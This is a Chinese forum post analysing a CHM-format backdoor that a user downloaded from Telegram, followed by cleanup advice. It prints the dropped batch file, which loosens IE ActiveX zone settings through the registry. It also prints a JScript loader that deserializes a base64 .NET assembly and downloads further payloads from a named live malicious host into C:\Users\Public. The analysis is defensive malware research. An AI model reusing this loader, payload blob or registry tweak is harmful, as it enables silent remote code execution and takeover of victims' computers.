CHM格式后门病毒分析
在吾爱上看到有个老哥说在TG下了个软件,怀疑有病毒,请求分析一下,我就下来看了一下,水平不足,还请各位海涵。
1、使用微步沙箱分析样本
首先把程序丢到微步沙箱跑一跑,分析结果在这里 初步判断是一个恶意文件,之后我们来到执行流程这里看看这个软件做了什么操作。
大致就是这个com程序释放了一个AA.bat,A7.url,A7.chm这三个文件,接下来就是把这三个样本文件download到本地来看一下做了什么操作。
2、进行本地分析
每个样本具体得内容就不说了,我已经大致看过了,其内部的执行流程如以下流程图所示
AA.bat文件内容:
echo off
cls
set bl=0
:setreg
if "%bl%"=="5" goto ex
set regpath=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%bl%
cls
@reg add "%regpath%" /v "1201" /d "0" /t REG_DWORD /f
set /a bl=%bl%+1
:ex
exit
A7.url内容:其指向A7.chm
A7.chm内容如下:
CHM文件:编译的 HTML 帮助文件(Compiled HTML Help file)。
需要使用工具把CHM文件内容提取出来,如下图所示:
3、CHM文件的HTML文件解析
前面两步我们提取出来得1.html
和2.html
文件内容分别如下:
1.html (部分):
var dotnet4 = function(path, execuablePath, downloadPath) {
var invokeSuccess = false;
function setversion() {
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v2.0.50727';
}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+
"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+
"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+
"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+
"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+
"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+
"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+
"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+
"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+
"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+
"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+
"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+
"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+
"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+
"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+
"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+
"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+
"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+
"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+
"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+
"ZW1ibHkGFwAAAARMb2FkCg8MAAAAABwAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"+
"YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAVW0uYAAAAAAA"+
"AAAA4AAiIAsBMAAAEgAAAAgAAAAAAAAeMAAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"+
"AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAzC8A"+
"AE8AAAAAQAAADAQAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAJQuAAAcAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"+
"AAAALnRleHQAAAAkEAAAACAAAAASAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAADAQAAABA"+
"AAAABgAAABQAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAaAAAAAAAAAAAA"+
"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAASAAAAAIABQAQIwAAhAsAAAEAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgIoDgAACgAA"+
"KiYAAygPAAAKJioTMAMAvgAAAAEAABEAcxAAAAoKcxEAAAoLBwJvEgAACgwIcxMAAAooFAAACnMV"
//很长一段都是上面的obj,这里有可能就是生成的shellcode
var entry_class = 'TestClass';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
o.Cp(path, execuablePath, downloadPath);
invokeSuccess = true;
} catch (e) {
debug(e.message);
}
return invokeSuccess;
}
var href = "";
// setTimeout(, 0);
window.path = "http://www.dgf6.cn:7231/105";//这个网址里面都是恶意文件
window.execuablePath = "11";
window.downloadPath = "C:\\Users\\Public\\6253";//存放恶意文件的目录
(function task() {
try {
var path = window.path;
var execuablePath = window.execuablePath;
var downloadPath = window.downloadPath;
var isSuccessv4 = "";
var isSuccessv2 = "";
isSuccessv4 = dotnet4(path, execuablePath, downloadPath);//下载文件
if (isSuccessv4) {
location.href = "2.html"//下载完成以后转到2.html
} else {}
} catch (e) {
debug(e.message + "globalCode");
}
})();
2.html文件内容:
<img style="position:absolute; top:0px;left:0px; width:100%" src="http://img.youxiguancha.com/game/2015/01/12/1421043095_5.jpg"/><!--?Z?-鰜测漜I聖Jhz匃0c汣?┑睢uF??誃 |'枮?柖?鹵`}汱U??せ 舂鴦?怯Y?蓆阼釲2e=暫a?Y-D頿0宔?刹宧?r醭l?{-蹹襷z[C摖拫?歆耼b?佤(欗瘦喁ms鲖 "Ib硿<?窖?莿q?H`G欪坙?s*?>
~?递驌?操討仿酄
䲠醠膩渕?聿?z懙t槪耬+`裾疃i渢Z4?釪M鱈>慥Te扐?怹孬IU?@?;o鼩供?D蠊騨Y厘朻? "?dW7?w@駋輽?謚4sbRy?赽赽赽椏OI?c佢b赽-->
从上面的两个文件中我们可以看到,1.html应该是要执行一些恶意的shellcode,随后再在其恶意文件网址中下载其他得恶意文件,因为分析过程中提示我的虚拟机缺少文件,无法运行某个文件。功力不深没有继续分析下去了,随后2.html中的内容就是一张普通的图片,我觉得可能就是用来装一下把,图片内容如下:
在这里做个小的说明:这种使用CHM文件作为后门的病毒,就是使用kali来做的简单后门,主要就是通过activex来调用本地得可执行文件进行侵入,因为chm后门也是今天刚知道,所以只能猜测一下,具体得解释在这里:高级组合技打造chm后门
4、归纳总结
总得来说这个木马的执行流程如下:
运行com文件=》分别释放AA.bat、A7.url、A7.chm到指定路径,进行注册表键值得创建,具体是为了什么暂时不明,可能是为了设置ie直接允许运行activex操作,随后com文件运行A7.url,而A7.url指向得是A7.chm,实际运行得样本的过程中会发现A7.chm被打开的一瞬间会自动执行其中的1.html然后会打开浏览器进行下载等操作(因为在虚拟机执行下载时,也被物理机得火绒拦截到了。),等到运行完毕展示2.html得内容,这种属于meterpreter
后门,也就是我们执行完毕以后,机器会主动连接到对方得机器,我们机器会变成对方的肉鸡。
(其中很多地方没分析到位,我的能力只能分析很小很小的一部分,明天也要上班,比较赶时间。)
5、解决方案
使用杀毒软件对全盘进行一个彻底查杀,检查程序的自启动列表,注册表得自启动项目是否正常,检查自己电脑的计划任务列表中是否有未知的计划任务程序,检查自己电脑得任务管理器后台是否有描述不清的后台程序,通过判断程序名称和描述自行甄别。
最后,希望中招得老哥不要担心,这种木马一般只是为了控制你的电脑,并不会对您得计算机有什么数据上得损害,做好全盘查杀工作,自行查找可疑程序进行手动清理和隔离,就算不会对数据造成损失,也请及时备份好重要文件其余存储设备中,平时对待可疑得文件(如exe,word,vbs,js、com、bat)保持高度警惕,如:进行沙箱运行(本地沙箱和云端沙箱)、虚拟机运行。
样本文件:
样本文件.zip
(598.79 KB, 下载次数: 83)
(解压密码:52pojie)